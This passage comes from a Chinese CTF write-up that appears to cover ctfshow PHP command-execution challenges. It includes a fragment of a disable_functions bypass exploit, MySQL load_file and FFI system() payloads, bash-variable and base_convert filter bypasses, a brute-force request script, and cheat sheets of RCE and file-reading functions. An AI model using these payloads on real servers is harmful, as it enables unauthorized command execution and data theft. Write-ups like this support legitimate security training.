    die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
    die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
    die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
    write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
    }

    ctfshow("cat /flag0.txt");ob_end_flush();exit;
  8. 命令执行,突破禁用函数

    还是上一关的payload扫目录,根目录发现flagc.txt

    那就直接试试文件包含

    1
    c=include('/flagc.txt');exit;
  9. 命令执行,突破禁用函数

    payload扫目录,根目录flagx.txt

    可以继续打

  10. 命令执行,突破禁用函数 mysql读写

    payload扫目录,根目录flag36.txt

    include和require都不能用了,应该还是open_basedir的限制,但这关的漏洞点不在堆漏洞了,因为过滤了strlen关键字,而在mysql可以读写漏洞

    image-20220920235349180

    payload 这题有点离谱了,数据库的用户信息是咋知道的?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
    'root');
    foreach($dbh->query('select load_file("/flag36.txt")') as $row){
    echo($row[0])."|";
    }
    $dbh = null;
    }catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
    }exit(0);

    即便不知道数据库名为ctftraining,也可以通过连接默认数据库information_schema达到命令执行的目录,只需要猜解出mysql的用户名和密码即可

    1
    2
    3
    4
    5
    6
    7
    8
    $dsn = "mysql:host=localhost;dbname=information_schema";
    $db = new PDO($dsn, 'root', 'root');
    $rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
    foreach($rs as $row){
    echo($row[0])."|";
    }exit();

    // 获取所有数据库 select schema_name from information_schema.schemata;

    这里可以先读出所有的库模式

    image-20220921000813608

    1
    2
    3
    4
    5
    6
    $dsn = "mysql:host=localhost;dbname=ctftraining";
    $db = new PDO($dsn, 'root', 'root');
    $rs = $db->query("select load_file('/flag36.txt')");
    foreach($rs as $row){
    echo($row[0])."|";
    }exit();
  11. 命令执行,突破禁用函数

    先查下目录,根目录出现flag36d.txt,payload未变

  12. 命令执行最后一题,php7.4,基本上命令执行就告一段落了 FF1拓展

    读目录,出现两个可疑文件

    image-20220921093952083

​ 我们先尝试利用之前的payload读取flag36x.txt,但是PDO连接失败

1
could not find driver in /var/www/html/index.php(19) 

题目提示了php 7.4,所以可以去查一下这个版本的新特性FFI:外部函数接口特性

1
public static FFI::cdef(string $code = "", ?string $lib = null): FFI

image-20220921094507802

其中$code为一个字符串,包含常规C语言中的一系列声明,$lib为要加载和链接的共享库文件名称,如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。

也就是说我们可以调用C语言代码来执行,C语言中存在命令执行函数system

1
int system(const char *command) // 返回命令执行的状态

payload

1
2
3
$ffi = FFI::cdef("int system(const char *command);");
$a = "/readflag > 1.txt";
$ffi->system($a);exit;

然后访问1.txt即可

  1. flag in flag.php

    源代码中有提示<!-- system($code);-->

    简单测试发现只有大写字母和{}$?*.空格;这些可以使用

    所以这题的思路是使用bash的内置变量构造系统函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    $USER // 用户名
    $PATH // 可执行文件的搜索路径。
    这里可以利用一下,因为所有文件都以n结尾,我们可以构造出nl命令
    -> ${PATH:~A}
    $PWD // 工作目录(你当前所在的目录),这与内置命令 pwd 的作用相同
    // 字符串截取操作
    ${string: start :length} //左边开始,从0开始计数
    ${string: 0-start :length} // 从右边开始计数
    ${string: ~0} // 截取最后一个字符/一组字符串
    ${string: ~A}

    根据提示flag.php应该在当前目录/var/www/html,文件用通配符

    1
    ${PATH:~A}${PWD:~A} ????.???

    这样也可以截取最后一个字符

    image-20220921101241187

  2. 执行代码没有变,发现PATH关键字被禁了,我们只能换其它内置变量

    引入一个新的内置变量${SHLVL}

    1
    SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

    image-20220921102507606

    南神的思路就是构造/bin/cat命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    $# 位置参数的个数 一般读函数就是0
    构造 /bin/cat
    针对/
    - ${PWD:$#:$SHLVL}
    针对bin 直接使用通配符???
    - ${PWD:$#:$SHLVL}???
    所以可以构造出/bin/
    - ${PWD:$#:$SHLVL}???${PWD:$#:$SHLVL}
    cat中的at 因为一般权限用户为www-data 所以我们想截取倒数第三位和倒数第二位
    也就是 ${USER:~2:2}
    所以还需要构造2这个数字
    这里比较巧妙的就是正好利用了靶机的PHP版本号最后一位是2
    所以2的payload就是
    - ${PHP_VERSION:~A}
    结合起来就是
    - ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

    image-20220921104023448

    image-20220921104642432

  3. 这题给出了源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
    if(strlen($code)>65){
    echo '<div align="center">'.'you are so long , I dont like '.'</div>';
    }
    else{
    echo '<div align="center">'.system($code).'</div>';
    }
    }
    else{
    echo '<div align="center">evil input</div>';
    }
    }

    ?>

    这题过滤了空格,并且限制了payload长度不能超过65。针对上一题的payload可以进行一定的缩减

    cat关键字我们只出一个a,其它用通配符替换

    1
    2
    3
    4
    // www-data 最后一个字符为a
    ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.??? // 长度为66
    其中的${#}也可以省略,只不过不知道为啥本地不行
    ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
  4. 给出源代码,nnd SHLVL、~和USER都给我ban了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
    if(strlen($code)>65){
    echo '<div align="center">'.'you are so long , I dont like '.'</div>';
    }
    else{
    echo '<div align="center">'.system($code).'</div>';
    }
    }
    else{
    echo '<div align="center">evil input</div>';
    }
    }

    ?>

    继续学习bash内置变量的trick

    1
    2
    3
    4
    5
    6
    ${#}为添加到shell的参数个数,${##}则为值 空输出的话就是1
    我们这次因为能用到的内置变量就是 $PWD -> /var/www/html
    所以这次构造取反读取命令 rev
    ${#IFS}在ubuntu等系统中值为3
    所以/bin/rev为
    ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
  5. fuzz

    PWD、#、也被ban了,但是HOME没有被禁

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
    if(strlen($code)>65){
    echo '<div align="center">'.'you are so long , I dont like '.'</div>';
    }
    else{
    echo '<div align="center">'.system($code).'</div>';
    }
    }
    else{
    echo '<div align="center">evil input</div>';
    }
    }

    ?>

    这次我们换另一个命令/bin/base64

    对于/的截取,这里引入$?内置变量

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
    "OS error code 1: Operation not permitted"
    "OS error code 2: No such file or directory"
    "OS error code 3: No such process"
    "OS error code 4: Interrupted system call"
    "OS error code 5: Input/output error"
    "OS error code 6: No such device or address"
    "OS error code 7: Argument list too long"
    "OS error code 8: Exec format error"
    "OS error code 9: Bad file descriptor"
    "OS error code 10: No child processes"

    输入<A即可返回状态码1

    1
    2
    3
    4
    5
    6
    7
    // 于是截取/可以通过
    - ${HOME::$?}
    // 接着利用通配符匹配bin 和 base
    - ${HOME::$?}???${HOME::$?}????
    // 对于数字64,根据题目的提示fuzz,可以采用${RANDOM}爆破出64来
    // 当然直接爆破出数字64几率很小,但是爆破出开头为4的数字还是可以的
    <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

    我傻了,最后结果应该是base64编码,怎么可能会出现ctfshow。。。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # coding=gbk
    import requests

    url = "http://7b9783ec-5114-4084-b863-8d1ff2a7f333.challenge.ctf.show/"
    payload = r"<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???"
    data = {
    "code": payload
    }

    while True:
    r = requests.post(url, data=data)
    if "PD9waHA" in r.text: # <?php
    print(r.text)
    break
    print(r.status_code)
  6. RCE

    题面如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: 收集自网络
    # @Date: 2020-09-16 11:25:09
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-10-06 14:04:45

    */

    error_reporting(0);
    //听说你很喜欢数学,不知道你是否爱它胜过爱flag
    if(!isset($_GET['c'])){
    show_source(__FILE__);
    }else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
    die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $content)) { // /m可以匹配'\n'
    die("请不要输入奇奇怪怪的字符");
    }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); // 结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配
    foreach ($used_funcs[0] as $func) {
    if (!in_array($func, $whitelist)) {
    die("请不要输入奇奇怪怪的函数");
    }
    }
    //帮你算出答案
    eval('echo '.$content.';');
    }

    限制一:长度不超过80;

    限制二:黑名单' ', '\t', '\r', '\n','\'', '"', '‘, ‘\[‘, ‘\]‘

    限制三:白名单

    1
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

    我们需要充分利用白名单中的函数来构造出我们想用的函数。用法有两种:1. 可以当作变量名 2. 可以用作中间转换函数

    这里用到了base_convert

    1
    2
    3
    任意进制之间转换数字
    base_convert(number,frombase,tobase)
    返回一个字符串,包含 number 以 tobase 进制的表示。number 本身的进制由 frombase 指定。frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

    重点在于,高于十进制的数字用字母a-z表示,那么我们是否可以借此来搞一些命令执行函数出来。

    1
    2
    3
    4
    5
    system 最大字母排在24 也就是我们可以选择一个>25进制作为frombase
    比如 base_convert("system", 36, 10) => 1751504350
    那么 base_convert(1751504350, 10, 36) => system 并且可以绕过引号的过滤
    接下来利用php函数名可以作为函数的特性
    c=$ip=base_convert,$ip(1751504350, 10, 36) // echo 之间可以通过逗号连接

接下来就是考虑system参数如何传的问题,我们在这里可以通过两种方式:通过文件头传入命令参数,而文件头信息的获取去搭配getallheaders(),回传一个数组。数组的索引采取键值对的方式

1
2
3
4
5
6
首先是构造getallheaders关键词
base_convert(8768397090111664438, 10, 30)
然后就是组合
c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) //小心空格
1作为文件头参数传入命令执行语句,同时绕过白名单
ctfshow{7764f3d0-696a-47e0-976b-8545d04e9c73}

或者通过GET/POST传参方式,在参数点需要构造一个$_GET[],不过还要涉及多个进制转换

1
2
3
4
5
6
7
8
9
10
构造 $_GET[a]($_GET[b])  => a=system&b=ls
在线进制转换:https://tool.lu/hexconvert/
hex2bin的10进制为37907361743
dechex的作用是十进制转换为十六进制
_GET转16进制再转10进制的值为1598506324
hex2bin把十六进制的字符串转换为ASCII码
用pi当变量的原因是pi在白名单中,变量名只要在白名单中都可以,后面的sin和cos也是一样的
=> hex2bin(dechex(1598506324)) => _GET
=> $pi=_GET $$pi{sin} => $_GET{sin}($_GET[cos])
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=tac flag.php

总结

  • 绕过空格

    1
    2
    3
    4
    5
    6
    ${IFS} 但不能写作 $IFS
    $IFS$9
    %09
    <>
    <
    $IFS%09
  • 命令执行函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
    exec : 执行一个外部程序,回显最后一行,需要用echo输出。
    shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
    popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
    proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
    passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
    pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
    `(反引号):同 shell_exec()

    可回显 system passthru echo配合
  • 同cat的查看文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    more:一页一页的显示档案内容
    less:与 more 类似 head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    strings: find the printable strings in a object, or other binary, file
  • 遍历目录的函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串

    get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。
    payload:var_dump(current(get_defined_vars()));

    session_id():session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。
    如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,
    即传入?exp=eval(hex2bin(session_id(session_start())));
    并设置cookie:PHPSESSID=706870696e666f28293b
    session_start 函数是为了开启session

    配合使用的函数:
    print_r(scandir(‘.’)); 查看当前目录下的所有文件名
    var_dump()
    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
    each() 返回数组中当前的键/值对并将数组指针向前移动一步
    end() 将数组的内部指针指向最后一个单元
    next() 将数组中的内部指针向前移动一位
    prev() 将数组中的内部指针倒回一位
    array_reverse() 以相反的元素顺序返回数组
  • 输入输出

    1
    2
    3
    4
    5
    2>/dev/null   把错误输出到空设备(即丢弃)
    >/dev/null 2>&1 相当于1>/dev/null 2>&1 即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
    2>&1 >/dev/null 错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃

    something interesting: 重定向> 和 >> 前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.
  • shell中的整数运算$(())

    1
    2
    3
    4
    5
    6
    $(()) 代表做一次运算,因为里面为空,也表示值为0
    $((~$(()))) 对0作取反运算,值为-1
    $(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
    $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

    如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
  • PHP读取文件的函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    常用读文件函数
    highlight_file($filename);
    show_source($filename);
    print_r(php_strip_whitespace($filename));
    print_r(file_get_contents($filename));
    readfile($filename);

    // file — 把整个文件读入一个数组中
    print_r(file($filename));
    var_dump(file($filename));

    include($filename); // 非php代码
    include_once($filename); // 非php代码
    require($filename); // 非php代码
    require_once($filename); // 非php代码

    // fopen去读取文件内容
    fread(fopen($filename,"r"), $size);
    print_r(fread(popen("cat flag", "r"), $size));
    print_r(fgets(fopen($filename, "r"))); // 读取一行
    fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
    print_r(fgetcsv(fopen($filename,"r"), $size));
    print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
    print_r(fscanf(fopen("flag", "r"),"%s"));
    print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
    c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
    c=$a=fopen("flag.php","r");echo fread($a,"1000");